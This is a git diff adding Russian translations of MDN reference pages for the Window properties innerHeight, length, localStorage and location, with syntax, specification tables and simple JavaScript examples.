+ <dt>{{domxref("Window.XPCNativeWrapper")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.XPCSafeJSObjectWrapper")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+</dl>
+
+<h2 id="Интерфейс">Интерфейс</h2>
+
+<p>Смотри <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Reference</a></p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Working_with_windows_in_chrome_code">Working with windows in chrome code</a></li>
+</ul>
diff --git a/files/ru/web/api/window/innerheight/index.html b/files/ru/web/api/window/innerheight/index.html
new file mode 100644
index 0000000000..5207cf8536
--- /dev/null
+++ b/files/ru/web/api/window/innerheight/index.html
@@ -0,0 +1,88 @@
+---
+title: Window.innerHeight
+slug: Web/API/Window/innerHeight
+tags:
+  - API
+  - NeedsMarkupWork
+  - Property
+  - Reference
+translation_of: Web/API/Window/innerHeight
+---
+<div>Высота (в пикселях) области просмотра окна браузера, включая, если отображается, горизонтальную полосу прокрутки.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>intViewportHeight</var> = window.innerHeight;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>По возвращению, <code>intViewportHeight</code> это высота области просмотра окна браузера.</p>
+
+<p>Свойство <code>window.innerHeight</code> доступно только для чтения; у него нет значения по умолчанию.</p>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Свойство innerHeight поддерживается в любом объекте окна, например {{domxref ("window")}}, фрейме, наборе фреймов или вторичном окне.</p>
+
+<p>Существует алгоритм для получения высоты области просмотра, включая, если отображается, горизонтальную полосу прокрутки.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Assuming_a_frameset">Assuming a frameset</h3>
+
+<pre class="brush:js">var intFrameHeight = window.innerHeight; // or
+
+var intFrameHeight = self.innerHeight;
+// вернет высоту окна просмотра кадра в наборе кадров
+
+var intFramesetHeight = parent.innerHeight;
+// will return the height of the viewport of the closest frameset
+
+var intOuterFramesetHeight = top.innerHeight;
+// will return the height of the viewport of the outermost frameset
+</pre>
+
+<p>{{todo("link to an interactive demo here")}}</p>
+
+<p>To change the size of a window, see {{domxref("window.resizeBy()")}} and {{domxref("window.resizeTo()")}}.</p>
+
+<p>To get the outer height of a window, i.e. the height of the whole browser window, see {{domxref("window.outerHeight")}}.</p>
+
+<h3 id="Графический_пример">Графический пример</h3>
+
+<p>На следующем рисунке показана разница между externalHeight и innerHeight.</p>
+
+<p><img alt="innerHeight vs outerHeight illustration" src="/@api/deki/files/213/=FirefoxInnerVsOuterHeight2.png"></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-window-innerheight', 'window.innerHeight')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.innerHeight")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("window.innerWidth")}}</li>
+ <li>{{domxref("window.outerHeight")}}</li>
+ <li>{{domxref("window.outerWidth")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/length/index.html b/files/ru/web/api/window/length/index.html
new file mode 100644
index 0000000000..541e393563
--- /dev/null
+++ b/files/ru/web/api/window/length/index.html
@@ -0,0 +1,47 @@
+---
+title: Window.length
+slug: Web/API/Window/length
+translation_of: Web/API/Window/length
+---
+<div>{{ ApiRef() }}</div>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p>Возвращает кол-во фреймов (например {{HTMLElement("frame")}} или {{HTMLElement("iframe")}}) в текущем окне.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>framesCount</em> = window.length;
+</pre>
+
+<ul>
+ <li><code>framesCount</code> - кол-во фреймов на странице.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">if (window.length) {
+  // Этот документ содержит фреймы
+}</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','browsers.html#dom-length','Window.length')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-length', 'Window.length')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/window/localstorage/index.html b/files/ru/web/api/window/localstorage/index.html
new file mode 100644
index 0000000000..03282b401f
--- /dev/null
+++ b/files/ru/web/api/window/localstorage/index.html
@@ -0,0 +1,94 @@
+---
+title: Window.localStorage
+slug: Web/API/Window/localStorage
+tags:
+  - API
+  - Property
+  - Read-only
+  - Reference
+  - Storage
+  - Web Storage
+  - Window
+  - WindowLocalStorage
+  - localStorage
+translation_of: Web/API/Window/localStorage
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Свойство <strong><code>localStorage</code></strong> позволяет получить доступ к {{domxref("Storage")}} объекту. <code>localStorage</code> аналогично свойству <code><a href="/en-US/docs/Web/API/Window.sessionStorage">sessionStorage</a></code>. Разница только в том, что свойство <code>sessionStorage </code>хранит данные в течение сеанса (до закрытия браузера), в отличие от данных,  находящихся в свойстве <code>localStorage</code>, которые не имеют ограничений по времени хранения и могут быть удалены только с помощью JavaScript.</p>
+
+<p>Следует отметить, что данные, сохраннённые как в <code>localStorage</code>, так и в <code>sessionStorage</code>, являтся специфичными для протокола страницы.</p>
+
+<p>Ключи и значения <strong>всегда строки</strong> (так же, как и объекты, целочисленные ключи автоматически будут преобразованы в строки).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js"><em>myStorage</em> = <em>window</em>.localStorage;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект {{DOMxRef("Storage")}}, который используется для доступа к текущему локальному хранилищу.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>Запрос к хранилищу нарушает разрешение политик, либо источник для хранения <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#Definition_of_an_origin">не является корректной комбинацией схема/хост/порт</a> (такое может произойти, если источником для хранения является <code>file:</code> или <code>data:</code> схемы, например). Как ещё один пример появления ошибки, пользователь через конфигурацию браузера запретил хранение данных для некоторых источников.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код показывает пример доступа к локальному объекту {{DOMxRef("Storage")}} для текущего домена и добавляет данные в него с помощью {{DOMxRef("Storage.setItem()")}}.</p>
+
+<pre class="brush: js">localStorage.setItem('myCat', 'Tom');</pre>
+
+<p>Считывать данные из localStorage для определенного ключа, можно следующим образом:</p>
+
+<pre class="brush: js">let cat = localStorage.getItem('myCat');
+</pre>
+
+<p>Удалять данные можно так:</p>
+
+<pre class="brush: js">localStorage.removeItem('myCat'); // вернёт undefined
+</pre>
+
+<p>Для удаления всех записей, то есть полной очистки <code>localStorage</code>, используйте:</p>
+
+<pre class="brush: js">localStorage.clear();</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Пожалуйста, обратитесь к статье <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a> для более подробных примеров.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webstorage.html#dom-localstorage", "localStorage")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.localStorage")}}</p>
+
+<p>Все браузеры имеют различный уровень объема для <code>localStorage</code> и <code>sessionStorage</code>. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Использование Web Storage API</a></li>
+ <li>Локальное хранилище с <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API/Local_storage">Window.localStorage</a></li>
+ <li><span style="font-size: 1rem; letter-spacing: -0.00278rem;">{{DOMxRef("Window.sessionStorage")}}</span></li>
+</ul>
diff --git a/files/ru/web/api/window/location/index.html b/files/ru/web/api/window/location/index.html
new file mode 100644
index 0000000000..d14951e9d3
--- /dev/null
+++ b/files/ru/web/api/window/location/index.html
@@ -0,0 +1,216 @@
+---
+title: Window.location
+slug: Web/API/Window/location
+tags:
+  - API
+  - HTML DOM
+  - Window
+  - Свойство
+  - Ссылки
+translation_of: Web/API/Window/location
+---
+<p>{{APIRef}}</p>
+
+<p>Свойство только для чтения <strong><code>Window.location</code></strong> возвращает объект {{domxref("Location")}} с информацией о текущем расположении документа.</p>
+
+<p>Хотя <code>Window.location</code> представляет собой объект <em>только для чтения</em> <code>Location</code>, вы можете присвоить ему  {{domxref("DOMString")}}. Это значит что в большинстве случаев вы можете работать с <code>location</code> как со строкой: <code>location = 'http://www.example.com'</code> это синоним для <code>location.href = 'http://www.example.com'</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>oldLocation</em> = location;
+location = <em>newLocation</em>;
+</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<h3 id="Базовый_пример">Базовый пример</h3>
+
+<pre class="brush: js">alert(location); // выведет сообщение "https://developer.mozilla.org/en-US/docs/Web/API/Window.location"</pre>
+
+<h3 id="Пример_№1_Переход_на_новую_страницу">Пример №1: Переход на новую страницу</h3>
+
+<p>Каждый раз, когда объекту location присвоено новое значение, документ будет загружен используя URL как если бы был вызван <code>location.assign()</code> с измененным URL. Отметим, что настройки безопасности, подобные CORS, могут препятствовать этому эффекту.</p>
+
+<pre class="brush: js">location.assign("http://www.mozilla.org"); // или
+location = "http://www.mozilla.org";
+</pre>
+
+<h3 id="Пример_№2_Принудительная_перезагрузка_текущей_страницы_с_сервера">Пример №2: Принудительная перезагрузка текущей страницы с сервера</h3>
+
+<pre class="brush: js">location.reload(true);</pre>
+
+<h3 id="Пример_№3">Пример №3</h3>
+
+<p>Рассмотрим следующий пример, который будет перезагружать страницу используя метод <a href="/en-US/docs/Web/API/Location.replace"><code>replace()</code></a> для вставки значения <code>location.pathname</code> в хэш:</p>
+
+<pre class="brush: js">function reloadPageWithHash() {
+  var initialPage = location.pathname;
+  location.replace('http://example.com/#' + initialPage);
+}
+</pre>
+
+<div class="note"><strong>Примечание:</strong> Пример выше работает в ситуациях, когда нет необходимости сохранять (оставлять) location.hash. Между тем, в Gecko-based браузерах, установка location.pathname таким образом будет очищать любую информацию в location.hash, в то время как в WebKit (и возможно в других браузерах), установка pathname не изменяет hash. Если вам необходимо изменить pathname но сохранить hash как есть, используйте метод replace(), который должен работать одинаково во всех браузерах.</div>
+
+<h3 id="Пример_№4_Отображение_свойств_текущего_URL_в_диалоге_alert">Пример №4: Отображение свойств текущего URL в диалоге alert</h3>
+
+<pre class="brush: js">function showLoc() {
+  var oLocation = location, aLog = ["Property (Typeof): Value", "location (" + (typeof oLocation) + "): " + oLocation ];
+  for (var sProp in oLocation){
+    aLog.push(sProp + " (" + (typeof oLocation[sProp]) + "): " +  (oLocation[sProp] || "n/a"));
+  }
+  alert(aLog.join("\n"));
+}
+
+// в html: &lt;button onclick="showLoc();"&gt;Показать свойства location&lt;/button&gt;
+</pre>
+
+<h3 id="Пример_№5_Отправка_строки_данных_на_сервер_через_изменение_свойства_search">Пример №5: Отправка строки данных на сервер через изменение свойства search</h3>
+
+<pre class="brush: js">function sendData (sData) {
+  location.search = sData;
+}
+
+// в html: &lt;button onclick="sendData('Some data');"&gt;Отправить данные&lt;/button&gt;
+</pre>
+
+<p>Текущий URL с добавлением "?Some%20data" отправляется на сервер (если сервером не предпринимается никаких действий, то текущий документ перезагружается за счет изменения строки search).</p>
+
+<h3 id="Пример_№6_Использование_закладок_без_изменения_свойства_hash">Пример №6: Использование закладок без изменения свойства hash</h3>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"/&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script&gt;
+function showNode (oNode) {
+  var nLeft = 0, nTop = 0;
+  for (var oItNode = oNode; oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
+  document.documentElement.scrollTop = nTop;
+  document.documentElement.scrollLeft = nLeft;
+}
+
+function showBookmark (sBookmark, bUseHash) {
+  if (arguments.length === 1 || bUseHash) { location.hash = sBookmark; return; }
+  var oBookmark = document.querySelector(sBookmark);
+  if (oBookmark) { showNode(oBookmark); }
+}
+&lt;/script&gt;
+&lt;style&gt;
+span.intLink {
+    cursor: pointer;
+    color: #0000ff;
+    text-decoration: underline;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.&lt;/p&gt;
+&lt;p&gt;Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibendum quis. Cras adipiscing ultricies fermentum. Praesent bibendum condimentum feugiat.&lt;/p&gt;
+&lt;p id="myBookmark1"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="showBookmark('#myBookmark2');"&gt;Go to bookmark #2&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;p&gt;Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt. Nulla vitae tempor nisl. Etiam congue, elit vitae egestas mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.&lt;/p&gt;
+&lt;p&gt;Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.&lt;/p&gt;
+&lt;p&gt;Aenean viverra varius mauris, sed elementum lacus interdum non. Phasellus sit amet lectus vitae eros egestas pellentesque fermentum eget magna. Quisque mauris nisl, gravida vitae placerat et, condimentum id metus. Nulla eu est dictum dolor pulvinar volutpat. Pellentesque vitae sollicitudin nunc. Donec neque magna, lobortis id egestas nec, sodales quis lectus. Fusce cursus sollicitudin porta. Suspendisse ut tortor in mauris tincidunt rhoncus. Maecenas tincidunt fermentum facilisis. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.&lt;/p&gt;
+&lt;p&gt;Suspendisse turpis nisl, consectetur in lacinia ut, ornare vel mi. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non lectus eu turpis vulputate cursus. Mauris interdum tincidunt erat id pharetra. Nullam in libero elit, sed consequat lectus. Morbi odio nisi, porta vitae molestie ut, gravida ut nunc. Ut non est dui, id ullamcorper orci. Praesent vel elementum felis. Maecenas ornare, dui quis auctor hendrerit, turpis sem ullamcorper odio, in auctor magna metus quis leo. Morbi at odio ante.&lt;/p&gt;
+&lt;p&gt;Curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. In sit amet vehicula tortor. Vestibulum viverra pellentesque erat a elementum. Integer commodo ultricies lorem, eget tincidunt risus viverra et. In enim turpis, porttitor ac ornare et, suscipit sit amet nisl. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Pellentesque vel ultrices nibh. Sed commodo aliquam aliquam. Nulla euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet turpis purus id ipsum. Donec convallis, velit non scelerisque bibendum, diam nulla auctor nunc, vel dictum risus ipsum sit amet est. Praesent ut nibh sit amet nibh congue pulvinar. Suspendisse dictum porttitor tempor.&lt;/p&gt;
+&lt;p&gt;Vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper. Integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a aliquet massa mauris quis arcu. In porttitor, lectus ac semper egestas, ligula magna laoreet libero, eu commodo mauris odio id ante. In hac habitasse platea dictumst. In pretium erat diam, nec consequat eros. Praesent augue mi, consequat sed porttitor at, volutpat vitae eros. Sed pretium pharetra dapibus. Donec auctor interdum erat, lacinia molestie nibh commodo ut. Maecenas vestibulum vulputate felis, ut ullamcorper arcu faucibus in. Curabitur id arcu est. In semper mollis lorem at pellentesque. Sed lectus nisl, vestibulum id scelerisque eu, feugiat et tortor. Pellentesque porttitor facilisis ultricies.&lt;/p&gt;
+&lt;p id="myBookmark2"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="showBookmark('#myBookmark1');"&gt;Go to bookmark #1&lt;/span&gt; | &lt;span class="intLink" onclick="showBookmark('#myBookmark1', false);"&gt;Go to bookmark #1 without using location.hash&lt;/span&gt; | &lt;span class="intLink" onclick="showBookmark('#myBookmark3');"&gt;Go to bookmark #3&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;p&gt;Phasellus tempus fringilla nunc, eget sagittis orci molestie vel. Nulla sollicitudin diam non quam iaculis ac porta justo venenatis. Quisque tellus urna, molestie vitae egestas sit amet, suscipit sed sem. Quisque nec lorem eu velit faucibus tristique ut ut dolor. Cras eu tortor ut libero placerat venenatis ut ut massa. Sed quis libero augue, et consequat libero. Morbi rutrum augue sed turpis elementum sed luctus nisl molestie. Aenean vitae purus risus, a semper nisl. Pellentesque malesuada, est id sagittis consequat, libero mauris tincidunt tellus, eu sagittis arcu purus rutrum eros. Quisque eget eleifend mi. Duis pharetra mi ac eros mattis lacinia rutrum ipsum varius.&lt;/p&gt;
+&lt;p&gt;Fusce cursus pulvinar aliquam. Duis justo enim, ornare vitae elementum sed, porta a quam. Aliquam eu enim eu libero mollis tempus. Morbi ornare aliquam posuere. Proin faucibus luctus libero, sed ultrices lorem sagittis et. Vestibulum malesuada, ante nec molestie vehicula, quam diam mollis ipsum, rhoncus posuere mauris lectus in eros. Nullam feugiat ultrices augue, ac sodales sem mollis in.&lt;/p&gt;
+&lt;p id="myBookmark3"&gt;&lt;em&gt;Here is the bookmark #3&lt;/em&gt;&lt;/p&gt;
+&lt;p&gt;Proin vitae sem non lorem pellentesque molestie. Nam tempus massa et turpis placerat sit amet sollicitudin orci sodales. Pellentesque enim enim, sagittis a lobortis ut, tempus sed arcu. Aliquam augue turpis, varius vel bibendum ut, aliquam at diam. Nam lobortis, dui eu hendrerit pellentesque, sem neque porttitor erat, non dapibus velit lectus in metus. Vestibulum sit amet felis enim. In quis est vitae nunc malesuada consequat nec nec sapien. Suspendisse aliquam massa placerat dui lacinia luctus sed vitae risus. Fusce tempus, neque id ultrices volutpat, mi urna auctor arcu, viverra semper libero sem vel enim. Mauris dictum, elit non placerat malesuada, libero elit euismod nibh, nec posuere massa arcu eu risus. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer urna velit, dapibus eget varius feugiat, pellentesque sit amet ligula. Maecenas nulla nisl, facilisis eu egestas scelerisque, mollis eget metus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Morbi sed congue mi.&lt;/p&gt;
+&lt;p&gt;Fusce metus velit, pharetra at vestibulum nec, facilisis porttitor mi. Curabitur ligula sapien, fermentum vel porttitor id, rutrum sit amet magna. Sed sit amet sollicitudin turpis. Aenean luctus rhoncus dolor, et pulvinar ante egestas et. Donec ac massa orci, quis dapibus augue. Vivamus consectetur auctor pellentesque. Praesent vestibulum tincidunt ante sed consectetur. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Fusce purus metus, imperdiet vitae iaculis convallis, bibendum vitae turpis.&lt;/p&gt;
+&lt;p&gt;Fusce aliquet molestie dolor, in ornare dui sodales nec. In molestie sollicitudin felis a porta. Mauris nec orci sit amet orci blandit tristique congue nec nunc. Praesent et tellus sollicitudin mauris accumsan fringilla. Morbi sodales, justo eu sollicitudin lacinia, lectus sapien ullamcorper eros, quis molestie urna elit bibendum risus. Proin eget tincidunt quam. Nam luctus commodo mauris, eu posuere nunc luctus non. Nulla facilisi. Vivamus eget leo rhoncus quam accumsan fringilla. Aliquam sit amet lorem est. Nullam vel tellus nibh, id imperdiet orci. Integer egestas leo eu turpis blandit scelerisque.&lt;/p&gt;
+&lt;p&gt;Etiam in blandit tellus. Integer sed varius quam. Vestibulum dapibus mi gravida arcu viverra blandit. Praesent tristique augue id sem adipiscing pellentesque. Sed sollicitudin, leo sed interdum elementum, nisi ante condimentum leo, eget ornare libero diam semper quam. Vivamus augue urna, porta eget ultrices et, dapibus ut ligula. Ut laoreet consequat faucibus. Praesent at lectus ut lectus malesuada mollis. Nam interdum adipiscing eros, nec sodales mi porta nec. Proin et quam vitae sem interdum aliquet. Proin vel odio at lacus vehicula aliquet.&lt;/p&gt;
+&lt;p&gt;Etiam placerat dui ut sem ornare vel vestibulum augue mattis. Sed semper malesuada mi, eu bibendum lacus lobortis nec. Etiam fringilla elementum risus, eget consequat urna laoreet nec. Etiam mollis quam non sem convallis vel consectetur lectus ullamcorper. Aenean mattis lacus quis ligula mattis eget vestibulum diam hendrerit. In non placerat mauris. Praesent faucibus nunc quis eros sagittis viverra. In hac habitasse platea dictumst. Suspendisse eget nisl erat, ac molestie massa. Praesent mollis vestibulum tincidunt. Fusce suscipit laoreet malesuada. Aliquam erat volutpat. Aliquam dictum elementum rhoncus. Praesent in est massa, pulvinar sodales nunc. Pellentesque gravida euismod mi ac convallis.&lt;/p&gt;
+&lt;p&gt;Mauris vel odio vel nulla facilisis lacinia. Aliquam ultrices est at leo blandit tincidunt. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Suspendisse porttitor adipiscing facilisis. Duis cursus quam iaculis augue interdum porttitor. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Duis vulputate magna ac metus pretium condimentum. In tempus, est eget vestibulum blandit, velit massa dignissim nisl, ut scelerisque lorem neque vel velit. Maecenas fermentum commodo viverra. Curabitur a nibh non velit aliquam cursus. Integer semper condimentum tortor a pellentesque. Pellentesque semper, nisl id porttitor vehicula, sem dui feugiat lacus, vitae consequat augue urna vel odio.&lt;/p&gt;
+&lt;p&gt;Vestibulum id neque nec turpis iaculis pulvinar et a massa. Vestibulum sed nibh vitae arcu eleifend egestas. Mauris fermentum ultrices blandit. Suspendisse vitae lorem libero. Aenean et pellentesque tellus. Morbi quis neque orci, eu dignissim dui. Fusce sollicitudin mauris ac arcu vestibulum imperdiet. Proin ultricies nisl sit amet enim imperdiet eu ornare dui tempus. Maecenas lobortis nisi a tortor vestibulum vel eleifend tellus vestibulum. Donec metus sapien, hendrerit a fermentum id, dictum quis libero.&lt;/p&gt;
+&lt;p&gt;Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit, ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem. Nullam sollicitudin magna sed sem mollis id commodo libero condimentum. Duis eu massa et lacus semper molestie ut adipiscing sem.&lt;/p&gt;
+&lt;p&gt;Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In quis varius elit. Nullam dignissim neque nec velit vulputate porttitor. Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar quis condimentum ut, porta nec justo. In hac habitasse platea dictumst. Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut tristique lacus luctus quis.&lt;/p&gt;
+&lt;p&gt;Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<div class="note"><strong>Примечание:</strong> функция <code>showNode</code> является также примером использования цикла <code><a href="/en/JavaScript/Reference/Statements/for" title="en/JavaScript/Reference/Statements/for">for</a></code> без раздела <code>statement</code>. В этом случае <strong>точка с запятой всегда добавляется сразу после декларации цикла. </strong></div>
+
+<p>…тоже самое только с анимированной прокруткой страницы:</p>
+
+<pre class="brush: js">var showBookmark = (function () {
+  var  _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark,
+       /*
+       * nDuration: the duration in milliseconds of each frame
+       * nFrames: number of frames for each scroll
+       */
+       nDuration = 200, nFrames = 10;
+
+  function _next () {
+    if (_itFrame &gt; nFrames) { clearInterval(_scrollId); _scrollId = -1; return; }
+    _isBot = true;
+    document.documentElement.scrollTop = Math.round(_scrollY + (_nodeY - _scrollY) * _itFrame / nFrames);
+    document.documentElement.scrollLeft = Math.round(_scrollX + (_nodeX - _scrollX) * _itFrame / nFrames);
+    if (_useHash &amp;&amp; _itFrame === nFrames) { location.hash = _bookMark; }
+    _itFrame++;
+  }
+
+  function _chkOwner () {
+    if (_isBot) { _isBot = false; return; }
+    if (_scrollId &gt; -1) { clearInterval(_scrollId); _scrollId = -1; }
+  }
+
+  if (window.addEventListener) { window.addEventListener("scroll", _chkOwner, false); }
+  else if (window.attachEvent) { window.attachEvent("onscroll", _chkOwner); }
+
+  return function (sBookmark, bUseHash) {
+    _scrollY = document.documentElement.scrollTop;
+    _scrollX = document.documentElement.scrollLeft;
+    _bookMark = sBookmark;
+    _useHash = arguments.length === 1 || bUseHash;
+    for (
+      var nLeft = 0, nTop = 0, oNode = document.querySelector(sBookmark);
+      oNode;
+      nLeft += oNode.offsetLeft, nTop += oNode.offsetTop, oNode = oNode.offsetParent
+    );
+    _nodeX = nLeft, _nodeY = nTop, _itFrame = 1;
+    if (_scrollId === -1) { _scrollId = setInterval(_next, Math.round(nDuration / nFrames)); }
+  };
+})();
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Window.location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений с {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Window.location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
